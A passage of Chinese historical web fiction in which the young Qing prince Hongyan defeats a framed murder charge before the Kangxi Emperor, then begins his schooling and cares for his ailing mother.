弘晏斜了杨崇远一眼:“杨御史记性不好,我就再说一遍,人,我打了,但是没有打/死。石用欠了赌债,我走之后,难道赌坊的人就不会找他寻仇,他无银可还,赌坊的人难道就不会一棒子打/死他吗?” 杨崇远看向胡严氏问道:“胡严氏,六阿哥走后,可还有人再登过石用的家门?” 胡严氏忙道:“没了,再没其他人了。” 杨崇远又看向康熙,禀报:“皇上,微臣还有人证。” 康熙只道:“传。” 少顷,一个穿着棕色袍子的人走进来跪下:“草民是运来赌坊的掌柜张幺,石用欠了草民赌坊的银子,现有字据在此。” 梁九功走过去将字据接过呈给了康熙。 康熙看字据时,那张幺继续开口:“皇上,这字据是前日所立,为期五天,若到期石用还没有银子还债,就任凭我们处置,如今期限还未到,草民自然不会也不敢对石用做什么。” 杨崇远扬眉:“六阿哥,何进是你的手下自然向着你说话,他的证词不足为凭,如今你还有何话可说?” 弘晏丝毫不慌:“何进的话不能信,这妇人、赌坊掌柜的话就能信?他们就不能被人收买,这字据就不能作假吗?” 那张幺赶忙解释:“六阿哥,这字据上按着石用的手印呢,你若不信,大可与石用的拇指对证啊。” 那仵作出声道:“禀皇上,杨御史已然命草民将字据上的手印与石用的右手拇指对证,那手印完全吻合,确是石用的手印无疑。” 弘晏顿了片刻,便道:“手印是石用的手印,那也不一定是他自己亲自按下的,若是他人死后,有人拿着他的手指按下的呢?” 那张幺赶忙道:“六阿哥,草民开赌坊只为挣钱,哪里敢害人性命,你可不要冤枉了草民。” 御案上的康熙出声道:“福宝所言,不无道理。” 杨崇远一愣:“皇上,这……” 胤禛想到了什么,出声道:“汗阿玛,这字据,儿臣可否一观?” 康熙便将字据交给了梁九功,梁九功又将字据交给了胤禛。 胤禛仔细看过后,发现了问题:“汗阿玛,这字据若是前日所立,到今日便是第三日,墨迹风干应显黯淡,可这张字据上的墨迹却还十分润泽。” 康熙看向梁九功,梁九功赶忙将字据又拿回去呈给康熙。 他方才只顾着瞧手印,倒是没有仔细查看这墨迹。 康熙脸色一沉,将字据丢在地上:“梁九功,拖出去,先打一百棍。” 那张幺一听,立马变了脸色,求饶道:“皇上饶命,草民,草民全都招,是草民命人半夜潜入石用的家中将人打/死,又拿他的手指按了手印,这都是杨御史逼草民干的,他说雍亲王府的六阿哥揍了石用一顿,正好嫁祸于他,事成之后还给了草民一百两银子。” 那胡严氏一听就炸了:“姓杨的,你给他一百两银子,却只给我二十两银子。” 杨崇远瞪眼:“疯妇,本大人何曾给过你银子?” 胡严氏抬手指着杨崇远:“分明是你带着人上门威胁于我,叫我进宫做什么人证,不然就要杀了我全家。” 弘晏眉头一挑。 狗咬狗了! 康熙喝道:“大胆杨崇远,竟敢勾陷朕的皇孙。” 杨崇远扑通跪在地上,喊道:“皇上,微臣冤枉,这二人临时翻供,定然是被雍亲王收买了。” 弘晏叉腰道:“人是你找的,我与阿玛怎么会事先知晓,杨御史,是谁指使你干的,还不快如实招来?” 此时,魏珠进门禀报:“皇上,御史章怀求见。” “传。” 康熙话落,章怀跪下道:“微臣章怀参见皇上。” 康熙抬手,示意章怀起身。 章怀拱手道:“皇上,微臣要参杨崇远,身为朝廷命官,竟在半夜出入赌坊。” 杨崇远喝道:“章怀,你红口白牙,可有证据?” “当然有,运来赌坊的大掌柜吴有良就在殿外。”章怀朗声道。 梁九功请示过康熙后,开口道:“传。” 少顷,吴有良进门,跪在了张幺身旁:“皇上,御史杨崇远在深夜来到赌坊,逼我派人打/死石用嫁祸雍亲王父子,不然就告发草民放印子钱,草民这才派了张幺带人行事,还请皇上饶命。” 杨崇远喝道:“吴有良,你告发我,你能跑的了?” 吴有良只道:“事情败露,左右都是一死,还不如坦坦荡荡、痛痛快快的死。” 杨崇远咬牙切齿:“好,那就一起死,皇上,运来赌坊真正的主人不是张幺、也不是吴有良,而是九阿哥胤禟。” 弘晏惊呆了! 这事情跟个泥球似的,越滚越大了。 弘晏看向御案上的康熙,脸色难看的厉害。 不多时,胤禟被带到了乾清宫。 胤禟叩头道:“汗阿玛,运来赌坊是儿臣的私产,儿臣知错甘愿受罚,可杨崇远嫁祸四哥父子一事儿臣实在不知情,还请汗阿玛明察。” 康熙脸色阴沉的厉害:“杨崇远,你受了何人的指使?” 先是假祸胤禛父子,如今又告发胤禟,这背后到底是何人在作怪! 杨崇远一字一句道:“皇上,微臣早就对雍亲王心怀不满,这才借机报复,至于九阿哥开设赌坊,大肆敛财,微臣眼红至极,这才决心告发。” 这时,魏珠进门禀报:“皇上,八阿哥和十阿哥求见。” 康熙捏了捏眉心:“叫他们进来。” 十阿哥胤俄跪下求情:“汗阿玛,九哥开设赌坊是有错,还望汗阿玛看在儿臣的薄面上,宽宥九哥。” 八阿哥胤禩跪在胤俄身旁,开口道:“汗阿玛,九弟沉迷商业,只图金银之乐,绝对不会指使杨御史谋害四哥父子,做出手足相残的事情来。” 康熙看着殿内跪了一地的人,已然有些心累了,可面儿上还是威严的紧:“九阿哥胤禟开设赌坊、私放印子钱,即日起禁足贝子府,无召不得出。” 胤禟叩头:“儿臣谢汗阿玛。” 康熙又看向胤俄:“老十,你带人抄了运来赌坊,所得财物一律上交国库。” 胤俄磕头道:“儿臣领旨。” 康熙接着下旨:“右都御史杨崇远勾陷皇嗣,革职交于刑部彻查,佥都御史章怀检举杨崇远有功,擢升右都御史。” 章怀叩头:“微臣谢皇上隆恩。” 康熙看向弘晏时,目光变得慈爱:“雍亲王之子弘晏,有勇有谋,惩治凶恶,搭救妇孺,赐黄金百两。” 弘晏恭恭敬敬的谢恩:“孙儿谢皇玛法。” 待众人离去,殿内只余胤禛和弘晏,康熙冲着弘晏招了招手。 弘晏一溜烟儿的跑到康熙身边。 康熙慈爱的揉了揉弘晏的小脑袋:“辩驳了这么久,饿了吧?” 弘晏点了点头。 康熙笑道:“梁九功,传膳。” 一顿膳食吃完,夕阳西下,胤禛带着弘晏回了雍亲王府。 马车上,弘晏开始复盘。 少顷,弘晏抬眼问向胤禛:“阿玛,那个叫章怀的御史,可是你安排的?” 第108章 第108章要读书了 对于弘晏提出的问题,胤禛点了点头。 弘晏见状,却气呼呼道:“难怪阿玛被召进宫时波澜不惊,原来是早就有了谋划,害得我白白担心一场。” 说罢,弘晏气鼓鼓的扭过小脸,不再看胤禛。 胤禛见状,出声解释:“昨日你跟我说了石泉家里的事,我便吩咐苏培盛暗地里去查访,虽知晓了杨崇远的计划,但却不知他背后之人是谁,故而想钓一钓。” 单凭一个杨崇远,哪里有这么大的胆子。 更何况,杨崇远这么做,无论成败与否,对他个人而言,并无好处。 弘晏没理会。 胤禛继续哄道:“福宝今日在乾清宫大展身手,让阿玛刮目相看,阿玛与你这般大时,可比不上你的智谋。” 弘晏听了这话,才弯了弯嘴角。 胤禛瞧见弘晏那嘴角扬起的弧度,便直接伸手将弘晏抱到了腿上坐着:“进宫时福宝也说了,你要自证清白,证不了才叫我帮忙,不是吗?” 弘晏忽闪了一下眼睛。 他好像是这么说的。 弘晏转而问起了正事:“阿玛,杨崇远会供出背后之人吗?” 胤禛摸了摸弘晏的小脸:“这个,阿玛也不知道,福宝觉得会是谁?” 弘晏陷入了沉思。 背后之人定然是这个局中最大的获利者,弘晏将乾清宫的画面在大脑中又快速闪现一遍,而后锁定了一个人,抬眼问向胤禛:“是八叔?!” 老八胤禩与他的便宜阿玛本就是历史上的政治死敌,再加上这两年胤禩不得康熙圣心,在朝中的威信已大不如前,而他的便宜阿玛却是如日中天。 这一局,胤禩若是能成事,他与便宜阿玛虽不会受什么大的惩治,但在康熙心中的地位却会一落千丈,在朝臣们心中的形象也会大打折扣,对手失势,胤禩争储的机会就变大了。 这一局,胤禩若是不能成事,左不过是 折损了一个御史,还能将胤禟推到了风口浪尖上,自己则完美隐身,再以旁观者的身份出现为胤禟求情,雪中送碳之谊便能巩固他与胤禟的兄弟之情。 若真如他所猜想,老八真是太阴险了! 胤禛一愣:“福宝为何会觉得是你八叔?” “我猜的,因为咱们跟八叔有过节。”弘晏眨了眨大眼睛。 弘晏给出的理由,是能够说服胤禛的。 见胤禛不言语,弘晏又问:“阿玛也是如此想的吗?” 胤禛没有否认,只道:“你我都是猜测,没有实证一切都是枉然。” 之前,苏培盛暗查到了杨崇远的计划,他便让同在都察院的章怀秘密查访,得知了运来赌坊是老九胤禟的私产,他便怀疑此事的主谋是老九,可今日在乾清宫,杨崇远竟然揭发了胤禟,再到胤禩出现求情,他这才彻底瞧明白了这出大戏。 只是,胤禩费心布了这盘局,成与不成都是要舍了杨崇远这枚棋子,怕是人就算进了刑部大牢,也不会吐口了。 弘晏自然也想到了这一点,又问向胤禛:“阿玛,若是杨崇远自己将罪名背下,那皇玛法会知道背后之人是谁吗?” 胤禛抬手撸了撸弘晏的小脑瓜:“那得看,你皇玛法想不想知道。” 也是,康熙在龙椅上坐这么多年,也不是白坐的! 不管杨崇远会不会吐口,他和便宜阿玛成了无辜的受害者,才会是这一局最终的得利者! 不多时,马车在雍亲王府门前停下,胤禛便抱着弘晏下了马车。 弘晏瞧见乌拉那拉氏就在门前等着,便挣扎着从胤禛怀里下来,哒哒跑上台阶扑向乌拉那拉氏。 乌拉那拉氏一把将弘晏抱起来:“福宝,可算回来了。” 弘晏双手搂着乌拉那拉氏的脖子笑嘿嘿道:“额娘,我可威风了,我还了自己清白,皇玛法还赏我好多金子。” 乌拉那拉氏亲了亲弘晏的小脸蛋儿:“是,额娘的福宝最能干了。” 胤禛有些诧异:“十三弟,你怎么也来了?” 胤祥只道:“出了这么大的事儿,我自然要来。” 胤禛拍了拍胤祥的肩膀:“走,书房说话。” 弘晏跟着乌拉那拉氏回了正院,急着给乌拉那拉氏讲自己在乾清宫是如何将那杨崇远怼的哑口无言的。 而胤禛与胤祥在书房里说了好一会儿的话,便送胤祥回府了。 夜深了,乌拉那拉氏瞧着呼呼大睡的弘晏,眼里虽然欣慰但更多的是心疼:“福宝今日可是累坏了。” 一旁的胤禛闻言,很是骄傲:“今日,爷才知晓福宝比咱们想象中的要聪颖许多。” 他准备好了一切,弘晏却给了一个意外的惊喜。 乌拉那拉氏给弘晏掖了掖被角:“福宝再聪颖也只是一个五岁多的孩子,不知天高地厚,不知人外有人,爷不能什么都由着他的性子。” 她听弘晏讲了乾清宫里的事,更多的是忧心。 朝堂上都是经于算计的老狐狸,弘晏还是个纯真的孩子,不该被搅进这些争斗中。 胤禛搂过乌拉那拉氏的肩膀:“我若没有把握,岂会答应带福宝进宫去,锦安,有我在一日,就绝不会叫福宝冲在前面。” 第二日清晨,宫里传来消息,杨崇远在刑部大牢受不住酷刑咬舌自尽。 康熙颁了圣旨:杨崇远抄没家产充入国库,其余亲眷一律流放宁古塔,永不许入关。吴有良、张幺问斩,胡严氏流放三千里。 杨崇远一案就此结案。 弘晏听了这个消息,并没有太大的波动,只是心里有些唏嘘罢了。 昨日还与他唇/枪/舌/战、争锋相对的人,今日就已然成了一缕孤魂了。 虽然是杨崇远咎由自取,可波及了这么多人的命运,弘晏心里复杂的很。 此时,田玉走过来禀报:“阿哥,石泉一家三口在院子里跪着呢。” 弘晏闻言,跳下了小榻便往外走:“石泉,你们这是做什么?” 石泉叩头:“阿哥,奴才是来请罪的,阿哥若不是为了奴才一家,哪里会受这般冤枉。” 那周氏带着哭腔言道:“六阿哥,你是我们一家的贵人,我们一家就是做牛做马也报不完您的恩情,可出了这桩事,我与小女是没脸再留在府上了。” “你们本是无辜受害的人,如今恶人已然受到了惩戒,你们该高兴才是,怎么来请上罪了,快起来。”弘晏说完,看向了田玉。 田玉忙上前将周氏搀扶起来。 弘晏笑道:“你们就安心在雍亲王府当差,若是来日有了更好的去处,届时我定然送上盘缠让你们出府。” 石泉闻言,扑通跪在地上:“阿哥,阿哥大恩,奴才一家愿为阿哥当牛做马,肝脑涂地。” 弘晏只道:“怎么又跪下了,起来。” 听了石泉母子三人的话,弘晏的心境已然发生了变化。 恶人到死还在包庇幕后之人,是死有余辜,不值得一丝怜悯。 而良善之人无端被欺负,却还在将罪责揽在身上,生怕牵连了旁人。 人与人,终究是不同的。 —— 寒冷的冬天过去,大雁北归,时间来到了康熙五十八年的春天。 弘晏已然六岁了,按照规矩该搬去前院读书了。 乌拉那拉氏怕弘晏陡然离了正院不习惯,亲手做了枕头,又给弘晏缝了兔子和萝卜布偶,好叫弘晏抱着睡觉。 弘晏看到乌拉那拉氏准备的东西,鼻子就酸了,往乌拉那拉氏怀里一赖:“额娘,我舍不得离开额娘,要不我白天在前院读书,晚上还回来正院睡觉吧。” 乌拉那拉氏摸着弘晏的小脸蛋儿:“那怎么行,你都长大了,哪能一直跟着额娘住啊。” 阿哥们搬去前院住,除了方便用功读书,也是为了培养其独立的能力。 道理弘晏都明白,但是情感上他确实舍不得:“额娘,那你要多来前院看看我,就像耿姨娘给五哥哥送好吃的一样,你也要多给我送些。” 乌拉那拉氏摸了摸弘晏的小脑袋:“好,额娘一定给你送,你可要好好读书啊。” 弘晏撒娇道:“额娘,明日我就要搬走了,今晚和你睡好不好?” 乌拉那拉氏无奈的捏了捏弘晏的鼻子:“你都六岁了,还跟额娘睡,不怕弘昼他们知道了笑话你?” 今夜是弘晏在正院睡得最后一夜了,她若答应了弘晏的要求,让他有了依赖感,明日弘晏一个人在前院,岂不是更舍不得、睡不着了。 弘晏想了想,便道:“那我今晚在耳房就枕着额娘做的枕头,抱着兔子和萝卜布偶睡。” 那他就提前适应一下吧。 乌拉那拉氏点头:“这样好。” 到了第二日,正院的奴才们便开始忙忙碌碌的给弘晏搬院子了。 前院的面积大,阿哥们所居住的屋子离学堂很近,不过十几步的距离。 那一排的屋子从左到右,分别是三阿哥弘时、四阿哥弘历、五阿哥弘昼以及六阿哥弘晏。 弘晏带着田玉与石泉进了自己的屋子参观,虽然不大,但是干净整洁,应有尽有。 弘晏解开了包袱,将自己的小枕头、兔子布偶和萝卜布偶都放在了床榻上。 这时,弘昼跑进来喊道:“六弟!” 弘晏迎上去:“五哥!” 弘昼叹气:“六弟,我原来是最羡慕你的,可你如今也来读书了,咱们可以有难同当了。” 弘晏正准备说话,却见弘历走了进来:“弘昼,六弟明日第一天上课,你可别胡说,吓到了六弟。” 弘昼摊手:“本来嘛,读书就是人生一大苦事。” “这话我倒是同意。”弘时迈步走进来说道。 弘昼给弘时投过去一个“知音”的眼神。 弘历赶忙出声:“六弟,你别听他们的,书里的乐子多着呢,以后你就知道了。” 弘昼在弘历身后拼命摇头,弘时则是唉声叹气。 弘晏看着自己的三个活宝哥哥,一时间哭笑不得。 第109章 第109章一大苦事 搬院子忙活了一天,弘晏和三个哥哥一起用了晚膳,便回了自己屋子睡觉。 入夜后,书房内的胤禛将最后一笔落下,问向身旁的苏培盛:“福宝睡下了?” 苏培盛弓着腰回答:“回爷的话,阿哥睡下了,今个儿应是田玉在守夜。” 胤禛应了一声,便起身往外走,而快走到弘晏的屋子时,恰巧遇上了乌拉那拉氏。 乌拉那拉氏瞧见来人是胤禛,遂福身道:“爷。” 胤禛开口问:“福晋这是不放心福宝?” “今个儿是福宝搬走的第一夜,总要亲眼瞧瞧才能安心。”乌拉那拉氏笑吟吟的说道。 说是弘晏离不开她,可她哪里 又离得开弘晏呢。 胤禛没再说话,牵着乌拉那拉氏的手往屋子里去了。 头靠着拔步床栏,盘腿坐在地面上打瞌睡的田玉,听见脚步声迷迷糊糊的睁开了眼睛,正要出声问安,见胤禛比了个噤声的手势,便退到了一旁。 乌拉那拉氏抬手掀开了帐幔,映入眼帘的是一张恬静的睡脸,那小肉手还抱着兔子布偶。 乌拉那拉氏眉眼温柔,嘴角更是不自觉的弯起。 今个儿,弘晏倒是没有踢被子。 亲眼瞧着弘晏睡得安稳,乌拉那拉氏便安心了,遂将帐幔放下了。 出了弘晏的屋子,胤禛拉着乌拉那拉氏径直回了正院。 几个时辰后,睡得正香的弘晏就被田玉给叫醒了,弘晏迷迷糊糊的坐起来,边揉眼睛边打起了哈欠。 拔步床的帐幔勾起,弘晏透过窗户看到了微微亮的天,连太阳都还没有从东方升起呢。 弘晏嘟囔道:“这也太早了吧。” 田玉边给弘晏穿袍子,边道:“好阿哥,现在都寅时末了,卯时初要上早课,您是第一天上学堂,可不能迟到了。” 对哦,他现在要开始读书了! 穿衣梳洗罢,弘晏赶忙往学堂去。 学堂内有两排座椅,一排两个,按照年岁来排坐,弘时与弘历分别坐在第一排左右的位置上,弘晏自然就落坐在了第二排右手边的位置,也就是弘历的身后。 少顷,朱师傅进了门,准备领读文章之时,弘昼才姗姗来迟。 朱师傅不悦道:“五阿哥,怎的又迟到了?” 弘昼捂住肚子说道:“朱师傅,我肚子不舒服,在官房拉了好久呢。” 这等话,朱师傅听得耳朵都快起茧子了,也懒得再与弘昼辩驳,便挥手道:“五阿哥,快入坐吧。” 弘昼一屁股坐上椅子,便扭脸看向弘晏:“六弟,昨晚睡得好吗?” 弘晏一脸开心的回答道:“好啊,那可是我额娘亲手做的枕头,我还有布偶抱呢。” 朱师傅见状,用戒尺拍了拍桌子:“五阿哥,将书翻开,课堂之上,不许交头接耳。” 弘晏听得出来,这后半句朱师傅是说与他听的,遂闭上嘴巴,不再与弘昼说话了。 片刻后,朱师傅的声音再次响起:“五阿哥,书拿倒了。” 弘昼咧着嘴:“嘿嘿,谢谢朱师傅提醒。” 朱师傅一脸无奈,接着往下领读。 这一节课说是早课,其实就是早读罢了,一篇文章,朱师傅只领读又不讲文意,领读完便要他们自己读。 熟读成诵的道理,弘晏自是明白的,便也学着弘历的模样摇头晃脑读了起来,只读了几遍之后,弘晏的肚子便饿了。 到最后,弘晏就只张大嘴巴蒙混不出声了。 好不容易熬过了早课,可以吃早膳了,弘晏左右开弓,一手拿着包子一手拿着蒸饺就往嘴巴里塞,终于填饱了他的小肚子。 早膳过后,正课才刚刚开始。 上午的课程除了朱师傅教授的儒家经史子集,还有内谙达教授满文和蒙文,吃完午膳可以休息一个时辰之外,下午还有外谙达教授弓箭和马术。 弘晏的屁股在椅子上坐了半天了,可以去外面活动活动筋骨,弘晏还是很乐意的。 弘时年长又学了多年,他的弓力较大,弘历和弘昼的弓力相比而言就小很多,而弘晏作为初学者又是年纪最小的,弓力自然也就是最小的。 掌握了外谙达教授的要领之后,弘晏果断的射出了第一支箭,那支箭快速飞出正中靶心。 “芜湖!”弘晏忍不住喊出来。 看来,他还是很有天分的嘛! 一旁的弘昼听见了弘晏的欢呼,好奇的扭脸一瞧,便竖起了大拇指:“六弟,你好厉害,刚学就射中靶心了。” 弘晏指向弘昼的箭靶:“嘿嘿,五哥,你不是也射中了吗?” 弘昼闻言,笑嘿嘿道:“我都学两年多了,要还射不中,那不是成废物了嘛。” 没射中靶心的弘时默默地将头转了回去。 而夹在弘时与弘昼之间的弘历见状,开口道:“五弟,你别老打扰六弟,快回去射你的箭。” 弘昼冲着弘历做了个鬼脸,但还是乖乖回去练习射箭了。 练习完射箭,接下来的课程便是骑马了。 弘晏之前可是被胤禛手把手教过骑马的,是以不用外谙达再教授要领,他与小马驹熟悉过后,便翻身上马直接跑了起来。 弘昼见状,迫不及待的翻身上马:“六弟,我来追你。” 弘历见弘晏与弘昼远去的背影,紧跟着翻身上马:“五弟、六弟,等等我。” 弘晏三人骑的都是小马驹,而十五岁的弘时骑的是大马,很快就超过了弘晏三个人。 马蹄快速驶过的地方尘土飞扬,弘昼还瞧见了弘时那上扬的嘴角,不服气的哼道:“神气什么,再过几年,我也能骑大马。” “五弟,你再嘟囔可就是最后一名了。”弘历说完这话,便超越了弘昼。 弘昼这时才反应过来,除了弘时,弘晏与弘历也超过他了。 “骑马我可不会是最后一名的。”弘昼说完,用腿轻夹马腹去追赶前面三人。 骑马结束,弘晏翻身下马,田玉与石泉赶忙迎上去,一个给弘晏擦汗,另一个则给弘晏递上了解渴的蜂蜜水。 石泉笑吟吟的夸道:“阿哥,你骑马可真威风。” 田玉接过话茬:“那还用说,咱们阿哥以后可是要当巴图鲁的。” 弘晏听着石泉和田玉吹完彩虹屁,便问道:“现在我可以回去休息了吧?” 虽然射箭和骑马很过瘾,但是他已然有些累了。 石泉闻言,低低道:“阿哥,您还有书法课要上呢。” 弘晏整个人都不好了:“啥?!” 所谓的书法课就是要写一个时辰的大字,软溜溜的毛笔捏在手心里,弘晏的嘴撅得都能挂一个油壶了。 不久前他的小心脏才沸腾起来,现在又要强制性的静下来。 漫长的一个时辰过去,弘晏转了转自己的手腕。 现在,终于可以休息吃晚膳了。 然而,休息的时光总是短暂的。 晚课又要开始了! 今日是弘晏第一日上课,并没有功课要做,他便又要开始温习今日学习的所有功课,简而言之就是——放声朗读。 等到晚课结束,已然是亥时末了。 收拾东西回寝房的路上,弘晏的脚步都抬不起来了,整个人的精气神好似被抽干了一样。 忙忙碌碌一整天,他算是了解上课的流程了,而且他现在也终于明白了弘昼的那句话——读书真是人生一大苦事! 然而,今天还只是他上学的第一天!!! 回到寝房,石泉端来热水给弘晏洗了脚,弘晏刚躺在拔步床上就呼呼睡着了。 弘晏坚持了两天满满当当的课程安排之后,在第三日的早课上睡着了! 一开始,上首的朱师傅从读书声中听出了呼噜声,还以为又是弘昼睡着了,一双犀利的眸子便扫向了弘昼,而弘昼正无聊的揉纸团玩呢。 朱师傅眼睛向左一瞥,才发现原来趴在桌上呼呼大睡的是六阿哥弘晏。 朱师傅迈步到弘晏身旁,出声唤道:“六阿哥?六阿哥?” 弘晏依旧睡着,朱师傅只好抬手晃了晃弘晏:“六阿哥?六阿哥醒醒?” 弘晏迷迷糊糊的睁开眼:“是吃早膳了吗?” 朱师傅:“……” 弘昼忍不住笑出来:“六弟,你是梦到了吃早膳吗?怎么还流口水了?” 弘晏眼前模糊的人影逐渐清晰起来后,弘晏整个人都清醒了,忙抬手擦去了自己的口水:“朱……朱师傅。” 他怎么睡着了?! 有点丢人捏! 朱师傅瞧着还有些迷糊的弘晏,出声道:“六阿哥,若是困,就去洗把脸吧。” 弘晏点点小脑袋:“好。” 下了早课,弘昼立马跑到弘晏身旁,抬手拍了拍弘晏的小肩膀:“六弟,没事的,我总在课 上睡觉的,朱师傅都见怪不怪了。” 弘晏明白弘昼的意思:只要自己脸皮厚,尴尬的就是别人。 弘历也围过来了,关切道:“六弟,你是昨晚没睡好吗?” 弘晏摇了摇小脑袋,如实回答道:“四哥,我不是没睡好,是没睡够。” 从前在正院,他是可以睡到天大亮再起床的。 就算四岁起乌拉那拉氏给他启蒙带着他读书,但也是边玩边学的,哪里有现在的学习强度这么大。 听了弘晏这话,最有发言权的弘时开口了:“子时睡,寅时末起床,一日满打满算也就睡上三个时辰,自然是睡不够的,不过日子久了,熬着熬着就习惯了,习惯了就不困了。” 弘晏听完了弘时这番话,总结下来就两个字——硬抗。 很快到了午时,弘晏正准备去用膳的时候,却听到有人唤自己,一扭脸,竟然是银烛。 弘晏一溜烟儿的跑过去,见银烛拎着食盒,便道:“银烛姐姐,你来给我送好吃的了。” 银烛笑道:“是啊,福晋惦记着阿哥,叫奴婢来送阿哥喜欢吃的菜。” 说着,银烛把食盒打开了。 有荠菜小馄饨、鸡汁焖春笋、牛肉酥饼、杏仁酪、孙泥额芬白糕和青团。 弘晏的眼睛先是在美食上扫了一圈,而后拿了一块孙泥额芬白糕咬了一口,抬起小脑袋,忽闪着水灵灵的大眼睛问道:“嘿嘿,银烛姐姐,我不在正院,额娘好吗?她是不是很想我?” 银烛一顿:“福晋?福晋很好啊,她当然想阿哥了。” 弘晏见银烛迟疑了一两秒钟,而且眼神飘忽不定,便起了疑心:“银烛姐姐,额娘现在在做什么呀?” 银烛笑着答话:“福晋,福晋当然是在用午膳了。” 银烛又迟疑了。 她从正院来,乌拉那拉氏在做什么银烛应该很清楚才对。 弘晏板着小脸:“不对,银烛姐姐,你在说谎。” 银烛哄道:“阿哥,好端端的,奴婢骗你做甚?快用膳吧,菜一会儿就凉了。” 还想糊弄他? 弘晏一脸严肃的望着银烛:“你不说,我现在就去正院。” 第110章 第110章亲尝汤药 弘晏从前院跑回了正院,踏上石阶进了屋子,就听见内室里传来剧烈的咳嗽声。 弘晏迈开步子往里冲:“额娘。” 拔步床上的乌拉那拉氏一惊:“福宝,你,你怎么来了?” 弘晏坐到拔步床沿,满脸心疼的撅着小嘴说道:“额娘,我才搬去前院几天,你怎么就生病了。” 乌拉那拉氏这一生病,脸色憔悴了许多。 乌拉那拉氏闻言,弯了弯唇:“风寒而已,额娘没事,倒是你,在前院读书还习惯吗?” 弘晏乖巧的点了点小脑袋。 习惯与否,书都是要读下去的,他也不想叫病中的乌拉那拉氏再操心了。 这时,流萤端着药碗过来:“福晋,该喝药了。” “额娘,我来喂你。”说着,弘晏就从流萤手上接过了药碗。 乌拉那拉氏见状,抬手去端:“额娘自己来吧,别烫着你。” 弘晏捧着药碗,抬眼看向乌拉那拉氏,一脸认真道:“不烫,额娘,从前我生病的时候都是你照顾的我,现在你病了,叫我喂你喝药嘛。” 弘晏坚持要喂,乌拉那拉氏心里也感动的紧,只好应了。 弘晏舀起一勺汤药喂进了自己嘴里,而后小脸皱成了一团:“这药好苦啊。” 随即,弘晏看向流萤说道:“流萤姐姐,你去端些蜜饯来。” 流萤福身去办:“是,阿哥。” 乌拉那拉氏不解问道:“福宝,你一向最怕喝苦药汤了,今日怎么还喝起额娘的药汤来了?” 弘晏忽闪着眼睛,娓娓道:“朱师傅讲了二十四孝的故事,汉文帝的母亲生病,他亲尝汤药后才肯让母亲服药,孩儿今日便效仿古人,给额娘喂药。” 乌拉那拉氏听罢,心里暖暖的,抬手摸了摸弘晏的小脑袋:“好福宝。” 这时,流萤端着蜜饯走了过来。 弘晏笑嘿嘿道:“额娘,你先吃个蜜饯,嘴巴里甜了,再喝这药就不觉得苦了。” 乌拉那拉氏闻言,拿起第一颗蜜饯先喂给了弘晏吃,而后才拿起第二颗蜜饯送进了自己口中。 弘晏等乌拉那拉氏吃完蜜饯,便舀起汤药吹了吹,而后喂到乌拉那拉氏嘴边。 一碗汤药喂完,乌拉那拉氏拿着帕子擦了擦唇角,弘晏又拿了一个蜜饯喂给乌拉那拉氏。 “咕噜。” 这是弘晏的肚子发出的声音,乌拉那拉氏遂问道:“福宝,你没用午膳吗?” 弘晏不好意思的挠了挠小脑袋:“我急着来看额娘,银烛姐姐给我送点午膳,我叫五哥他们分吃了。” 乌拉那拉氏听了这话,看向流萤吩咐道:“流萤,快叫小厨房做碗荠菜小馄饨。” 乌拉那拉氏又看向银烛:“银烛,去端点心来,叫阿哥先垫垫。” 肚子这一叫,弘晏确实感到饿了,看向银烛说道:“银烛姐姐,我要孙泥额芬白糕和青团。” 银烛点头道:“好,奴婢这就去拿。” 不多时,荠菜小馄饨上了桌,弘晏一口一个吃得十分满足,还是熟悉的味道。 等弘晏吃完,拔步床上的乌拉那拉氏便道:“福宝,你该回前院去了。” 正拿帕子擦嘴的弘晏听了这话,从绣墩上站起来便跑回去,扑进乌拉那拉氏怀里撒起娇来:“额娘,我再陪你会儿嘛。” 他都三天没有见到额娘了。 乌拉那拉氏搂着弘晏,哄道:“福宝乖,额娘这儿有银烛和流萤呢,你安心回去,不能误了上课的时辰。” 弘晏瘪了瘪嘴:“好吧。” 乌拉那拉氏揉了揉弘晏的小脑袋:“流萤,送阿哥回前院去。” 等弘晏走后,乌拉那拉氏看向了银烛:“叫你瞒着福宝,还是告诉他了。” 银烛一脸无奈:“福晋,奴婢瞒了六阿哥,可六阿哥太聪明了,竟瞧出奴婢在撒谎,奴婢只好说实话了。” 另一边,弘晏到了前院,便叫流萤回去了。 现在还不到上课的时候,弘晏没回学堂,而是去了书房找胤禛。 小喜子瞧见了弘晏,迎上去说道:“六阿哥,爷还没回来呢。” “哦。” 吃了个闭门羹,弘晏只好先回学堂去,却不想半路上正好遇见了回府的胤禛。 见到胤禛的那一刻,弘晏的眼眸瞬间亮起来:“阿玛。” 胤禛刚从胤祥府上回来,看向兴冲冲的弘晏问道:“福宝,你这是专程找我来了?” 弘晏点了点小脑袋瓜:“阿玛,额娘病了。” “病了?”胤禛说完,迈步就要往正院去。 这两日他忙着公事,起居都在书房,还未曾去过正院。 弘晏见胤禛压根不知道这一回事,便伸手拉了拉胤禛的衣摆:“阿玛,额娘服了药,已经睡下了。” 胤禛闻言,脚下的步子便止住了。 既然福晋服药睡下了,等到晚膳时,他再去瞧便是了。 胤禛低头望向弘晏:“那你找阿玛,有何事?” 弘晏把自己的想法说了出来:“阿玛,下午散学,你能带我去钓鱼吗?钓了鱼可以给额娘炖鱼汤喝。” 喝了鱼汤,额娘肯定能快些好起来。 胤禛听罢,反问道:“膳房里现成的鱼,哪里需要你去钓?” 胤禛这话就是不答应了,弘晏便一本正经的看着胤禛说道:“膳房的鱼跟我自己用心钓上来的怎么能一样呢!” 胤禛又问道:“钓鱼少说也要一两个时辰,岂非要耽误晚课?” 便宜阿玛原来是在顾虑上课这件事。 弘晏顿了顿,望着胤禛说道:“要是我能提前完成晚课需要做的功课呢?” 胤禛见弘晏是铁了心要去钓鱼,便也想看看弘晏的潜力,便道:“你要是能提前完成功课,阿玛就带你去。” “拉钩。”弘晏 说着,伸出了自己的小拇指。 小家伙这是怕他到时候反悔?不认账? 不过瞧着弘晏信心满满的模样,胤禛还真有些期待了,便伸出小拇指和弘晏拉了勾,大拇指印了章。 和便宜阿玛约定完,弘晏蹦蹦跳跳的回学堂去了。 很快到了下午的书法课,不过两刻钟的时间,弘晏就将写好的大字交给了朱师傅。 朱师傅仔细检查弘晏书写的大字,夸道:“六阿哥刚刚习字几日,能写成这般,已然很不错了。” 弘晏笑嘿嘿道:“朱师傅,我能下课了吗?” 朱师傅欣慰的笑容一僵,可看着天真烂漫的弘晏,朱师傅出声解释起来:“六阿哥,你虽然完成了书法课的任务,可散学时间还未到,怎能下课?再者习字讲究的就是多加练习,六阿哥不妨回去再多写几张大字来?” 